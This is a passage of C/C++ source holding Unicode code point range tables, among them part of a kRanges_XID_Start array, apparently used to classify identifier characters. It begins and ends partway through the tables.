{0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10140, 0x10174}, {0x101FD, 0x101FD}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x102E0, 0x102E0}, {0x10300, 0x1031F}, {0x1032D, 0x1034A}, {0x10350, 0x1037A}, {0x10380, 0x1039D}, {0x103A0, 0x103C3}, {0x103C8, 0x103CF}, {0x103D1, 0x103D5}, {0x10400, 0x1049D}, {0x104A0, 0x104A9}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10860, 0x10876}, {0x10880, 0x1089E}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x10900, 0x10915}, {0x10920, 0x10939}, {0x10940, 0x10959}, {0x10980, 0x109B7}, {0x109BE, 0x109BF}, {0x10A00, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10A60, 0x10A7C}, {0x10A80, 0x10A9C}, {0x10AC0, 0x10AC7}, {0x10AC9, 0x10AE6}, {0x10B00, 0x10B35}, {0x10B40, 0x10B55}, {0x10B60, 0x10B72}, {0x10B80, 0x10B91}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D00, 0x10D27}, {0x10D30, 0x10D39}, {0x10D40, 0x10D65}, {0x10D69, 0x10D6D}, {0x10D6F, 0x10D85}, {0x10E80, 0x10EA9}, {0x10EAB, 0x10EAC}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10EFA, 0x10F1C}, {0x10F27, 0x10F27}, {0x10F30, 0x10F50}, {0x10F70, 0x10F85}, {0x10FB0, 0x10FC4}, {0x10FE0, 0x10FF6}, {0x11000, 0x11046}, {0x11066, 0x11075}, {0x1107F, 0x110BA}, {0x110C2, 0x110C2}, {0x110D0, 0x110E8}, {0x110F0, 0x110F9}, {0x11100, 0x11134}, {0x11136, 0x1113F}, {0x11144, 0x11147}, {0x11150, 0x11173}, {0x11176, 0x11176}, {0x11180, 0x111C4}, {0x111C9, 0x111CC}, {0x111CE, 0x111DA}, {0x111DC, 0x111DC}, {0x11200, 0x11211}, {0x11213, 0x11237}, {0x1123E, 0x11241}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A8}, {0x112B0, 0x112EA}, {0x112F0, 0x112F9}, {0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133B, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11350, 0x11350}, {0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113D3}, {0x113E1, 0x113E2}, {0x11400, 0x1144A}, {0x11450, 0x11459}, {0x1145E, 0x11461}, {0x11480, 0x114C5}, {0x114C7, 0x114C7}, {0x114D0, 0x114D9}, {0x11580, 0x115B5}, {0x115B8, 0x115C0}, {0x115D8, 0x115DD}, {0x11600, 0x11640}, {0x11644, 0x11644}, {0x11650, 0x11659}, {0x11680, 0x116B8}, {0x116C0, 0x116C9}, {0x116D0, 0x116E3}, {0x11700, 0x1171A}, {0x1171D, 0x1172B}, {0x11730, 0x11739}, {0x11740, 0x11746}, {0x11800, 0x1183A}, {0x118A0, 0x118E9}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x11943}, {0x11950, 0x11959}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119E1}, {0x119E3, 0x119E4}, {0x11A00, 0x11A3E}, {0x11A47, 0x11A47}, {0x11A50, 0x11A99}, {0x11A9D, 0x11A9D}, {0x11AB0, 0x11AF8}, {0x11B60, 0x11B67}, {0x11BC0, 0x11BE0}, {0x11BF0, 0x11BF9}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C40}, {0x11C50, 0x11C59}, {0x11C72, 0x11C8F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D47}, {0x11D50, 0x11D59}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91}, {0x11D93, 0x11D98}, {0x11DA0, 0x11DA9}, {0x11DB0, 0x11DDB}, {0x11DE0, 0x11DE9}, {0x11EE0, 0x11EF6}, {0x11F00, 0x11F10}, {0x11F12, 0x11F3A}, {0x11F3E, 0x11F42}, {0x11F50, 0x11F5A}, {0x11FB0, 0x11FB0}, {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12480, 0x12543}, {0x12F90, 0x12FF0}, {0x13000, 0x1342F}, {0x13440, 0x13455}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x16139}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A60, 0x16A69}, {0x16A70, 0x16ABE}, {0x16AC0, 0x16AC9}, {0x16AD0, 0x16AED}, {0x16AF0, 0x16AF4}, {0x16B00, 0x16B36}, {0x16B40, 0x16B43}, {0x16B50, 0x16B59}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D6C}, {0x16D70, 0x16D79}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F4F, 0x16F87}, {0x16F8F, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE4}, {0x16FF0, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9D, 0x1BC9E}, {0x1CCF0, 0x1CCF9}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D165, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1D242, 0x1D244}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1D7CE, 0x1D7FF}, {0x1DA00, 0x1DA36}, {0x1DA3B, 0x1DA6C}, {0x1DA75, 0x1DA75}, {0x1DA84, 0x1DA84}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, {0x1E100, 0x1E12C}, {0x1E130, 0x1E13D}, {0x1E140, 0x1E149}, {0x1E14E, 0x1E14E}, {0x1E290, 0x1E2AE}, {0x1E2C0, 0x1E2F9}, {0x1E4D0, 0x1E4F9}, {0x1E5D0, 0x1E5FA}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6F5}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E8D0, 0x1E8D6}, {0x1E900, 0x1E94B}, {0x1E950, 0x1E959}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1FBF0, 0x1FBF9}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_XID_Start[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2C1}, {0x2C6, 0x2D1}, {0x2E0, 0x2E4}, {0x2EC, 0x2EC}, {0x2EE, 0x2EE}, {0x370, 0x374}, {0x376, 0x377}, {0x37B, 0x37D}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x559}, {0x560, 0x588}, {0x5D0, 0x5EA}, {0x5EF, 0x5F2}, {0x620, 0x64A}, {0x66E, 0x66F}, {0x671, 0x6D3}, {0x6D5, 0x6D5}, {0x6E5, 0x6E6}, {0x6EE, 0x6EF}, {0x6FA, 0x6FC}, {0x6FF, 0x6FF}, {0x710, 0x710}, {0x712, 0x72F}, {0x74D, 0x7A5}, {0x7B1, 0x7B1}, {0x7CA, 0x7EA}, {0x7F4, 0x7F5}, {0x7FA, 0x7FA}, {0x800, 0x815}, {0x81A, 0x81A}, {0x824, 0x824}, {0x828, 0x828}, {0x840, 0x858}, {0x860, 0x86A}, {0x870, 0x887}, {0x889, 0x88F}, {0x8A0, 0x8C9}, {0x904, 0x939}, {0x93D, 0x93D}, {0x950, 0x950}, {0x958, 0x961}, {0x971, 0x980}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BD, 0x9BD}, {0x9CE, 0x9CE}, {0x9DC, 0x9DD}, {0x9DF, 0x9E1}, {0x9F0, 0x9F1}, {0x9FC, 0x9FC}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA72, 0xA74}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABD, 0xABD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE1}, {0xAF9, 0xAF9}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3D, 0xB3D}, {0xB5C, 0xB5D}, {0xB5F, 0xB61}, {0xB71, 0xB71}, {0xB83, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBD0, 0xBD0}, {0xC05, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3D, 0xC3D}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC61}, {0xC80, 0xC80}, {0xC85, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBD, 0xCBD}, {0xCDC, 0xCDE}, {0xCE0, 0xCE1}, {0xCF1, 0xCF2}, {0xD04, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD3A}, {0xD3D, 0xD3D}, {0xD4E, 0xD4E}, {0xD54, 0xD56}, {0xD5F, 0xD61}, {0xD7A, 0xD7F}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xE01, 0xE30}, {0xE32, 0xE32}, {0xE40, 0xE46}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEB0}, {0xEB2, 0xEB2}, {0xEBD, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEDC, 0xEDF}, {0xF00, 0xF00}, {0xF40, 0xF47}, {0xF49, 0xF6C}, {0xF88, 0xF8C}, {0x1000, 0x102A}, {0x103F, 0x103F}, {0x1050, 0x1055}, {0x105A, 0x105D}, {0x1061, 0x1061}, {0x1065, 0x1066}, {0x106E, 0x1070}, {0x1075, 0x1081}, {0x108E, 0x108E}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x1380, 0x138F}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1401, 0x166C}, {0x166F, 0x167F}, {0x1681, 0x169A}, {0x16A0, 0x16EA}, {0x16EE, 0x16F8}, {0x1700, 0x1711}, {0x171F, 0x1731}, {0x1740, 0x1751}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1780, 0x17B3}, {0x17D7, 0x17D7}, {0x17DC, 0x17DC}, {0x1820, 0x1878}, {0x1880, 0x18A8}, {0x18AA, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1950, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x1A00, 0x1A16}, {0x1A20, 0x1A54}, {0x1AA7, 0x1AA7}, {0x1B05, 0x1B33}, {0x1B45, 0x1B4C}, {0x1B83, 0x1BA0}, {0x1BAE, 0x1BAF}, {0x1BBA, 0x1BE5}, {0x1C00, 0x1C23}, {0x1C4D, 0x1C4F}, {0x1C5A, 0x1C7D}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1CE9, 0x1CEC}, {0x1CEE, 0x1CF3}, {0x1CF5, 0x1CF6}, {0x1CFA, 0x1CFA}, {0x1D00, 0x1DBF}, {0x1E00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2118, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D6F}, {0x2D80, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x3005, 0x3007}, {0x3021, 0x3029}, {0x3031, 0x3035}, {0x3038, 0x303C}, {0x3041, 0x3096}, {0x309D, 0x309F}, {0x30A1, 0x30FA}, {0x30FC, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x31A0, 0x31BF}, {0x31F0, 0x31FF}, {0x3400, 0x4DBF}, {0x4E00, 0xA48C}, {0xA4D0, 0xA4FD}, {0xA500, 0xA60C}, {0xA610, 0xA61F}, {0xA62A, 0xA62B}, {0xA640, 0xA66E}, {0xA67F, 0xA69D}, {0xA6A0, 0xA6EF}, {0xA717, 0xA71F}, {0xA722, 0xA788}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA801}, {0xA803, 0xA805}, {0xA807, 0xA80A}, {0xA80C, 0xA822}, {0xA840, 0xA873}, {0xA882, 0xA8B3}, {0xA8F2, 0xA8F7}, {0xA8FB, 0xA8FB}, {0xA8FD, 0xA8FE}, {0xA90A, 0xA925}, {0xA930, 0xA946}, {0xA960, 0xA97C}, {0xA984, 0xA9B2}, {0xA9CF, 0xA9CF}, {0xA9E0, 0xA9E4}, {0xA9E6, 0xA9EF}, {0xA9FA, 0xA9FE}, {0xAA00, 0xAA28}, {0xAA40, 0xAA42}, {0xAA44, 0xAA4B}, {0xAA60, 0xAA76}, {0xAA7A, 0xAA7A}, {0xAA7E, 0xAAAF}, {0xAAB1, 0xAAB1}, {0xAAB5, 0xAAB6}, {0xAAB9, 0xAABD}, {0xAAC0, 0xAAC0}, {0xAAC2, 0xAAC2}, {0xAADB, 0xAADD}, {0xAAE0, 0xAAEA}, {0xAAF2, 0xAAF4}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABE2}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB1D}, {0xFB1F, 0xFB28}, {0xFB2A, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFC5D}, {0xFC64, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDF9}, {0xFE71, 0xFE71}, {0xFE73, 0xFE73}, {0xFE77, 0xFE77}, {0xFE79, 0xFE79}, {0xFE7B, 0xFE7B}, {0xFE7D, 0xFE7D}, {0xFE7F, 0xFEFC}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0xFF66, 0xFF9D}, {0xFFA0, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10140, 0x10174}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x10300, 0x1031F}, {0x1032D, 0x1034A}, {0x10350, 0x10375}, {0x10380, 0x1039D}, {0x103A0, 0x103C3}, {0x103C8, 0x103CF}, {0x103D1, 0x103D5}, {0x10400, 0x1049D}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10860, 0x10876}, {0x10880, 0x1089E}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x10900, 0x10915}, {0x10920, 0x10939}, {0x10940, 0x10959}, {0x10980, 0x109B7}, {0x109BE, 0x109BF}, {0x10A00, 0x10A00}, {0x10A10, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A60, 0x10A7C}, {0x10A80, 0x10A9C}, {0x10AC0, 0x10AC7}, {0x10AC9, 0x10AE4}, {0x10B00, 0x10B35}, {0x10B40, 0x10B55}, {0x10B60, 0x10B72}, {0x10B80, 0x10B91}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D00, 0x10D23}, {0x10D4A, 0x10D65}, {0x10D6F, 0x10D85}, {0x10E80, 0x10EA9}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10F00, 0x10F1C}, {0x10F27, 0x10F27}, {0x10F30, 0x10F45}, {0x10F70, 0x10F81}, {0x10FB0, 0x10FC4}, {0x10FE0, 0x10FF6}, {0x11003, 0x11037}, {0x11071, 0x11072}, {0x11075, 0x11075}, {0x11083, 0x110AF}, {0x110D0, 0x110E8}, {0x11103, 0x11126}, {0x11144, 0x11144}, {0x11147, 0x11147}, {0x11150, 0x11172}, {0x11176, 0x11176}, {0x11183, 0x111B2}, {0x111C1, 0x111C4}, {0x111DA, 0x111DA}, {0x111DC, 0x111DC}, {0x11200, 0x11211}, {0x11213, 0x1122B}, {0x1123F, 0x11240}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A8}, {0x112B0, 0x112DE}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133D, 0x1133D}, {0x11350, 0x11350}, {0x1135D, 0x11361}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113B7}, {0x113D1, 0x113D1}, {0x113D3, 0x113D3}, {0x11400, 0x11434}, {0x11447, 0x1144A}, {0x1145F, 0x11461}, {0x11480, 0x114AF}, {0x114C4, 0x114C5}, {0x114C7, 0x114C7}, {0x11580, 0x115AE}, {0x115D8, 0x115DB}, {0x11600, 0x1162F}, {0x11644, 0x11644}, {0x11680, 0x116AA}, {0x116B8, 0x116B8}, {0x11700, 0x1171A}, {0x11740, 0x11746}, {0x11800, 0x1182B}, {0x118A0, 0x118DF}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x1192F}, {0x1193F, 0x1193F}, {0x11941, 0x11941}, {0x119A0, 0x119A7}, {0x119AA, 0x119D0}, {0x119E1, 0x119E1}, {0x119E3, 0x119E3}, {0x11A00, 0x11A00}, {0x11A0B, 0x11A32}, {0x11A3A, 0x11A3A}, {0x11A50, 0x11A50}, {0x11A5C, 0x11A89}, {0x11A9D, 0x11A9D}, {0x11AB0, 0x11AF8}, {0x11BC0, 0x11BE0}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C2E}, {0x11C40, 0x11C40}, {0x11C72, 0x11C8F}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D30}, {0x11D46, 0x11D46}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D89}, {0x11D98, 0x11D98}, {0x11DB0, 0x11DDB}, {0x11EE0, 0x11EF2}, {0x11F02, 0x11F02}, {0x11F04, 0x11F10}, {0x11F12, 0x11F33}, {0x11FB0, 0x11FB0}, {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12480, 0x12543}, {0x12F90, 0x12FF0}, {0x13000, 0x1342F}, {0x13441, 0x13446}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x1611D}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A70, 0x16ABE}, {0x16AD0, 0x16AED}, {0x16B00, 0x16B2F}, {0x16B40, 0x16B43}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D6C}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F50, 0x16F50}, {0x16F93, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE3}, {0x16FF2, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 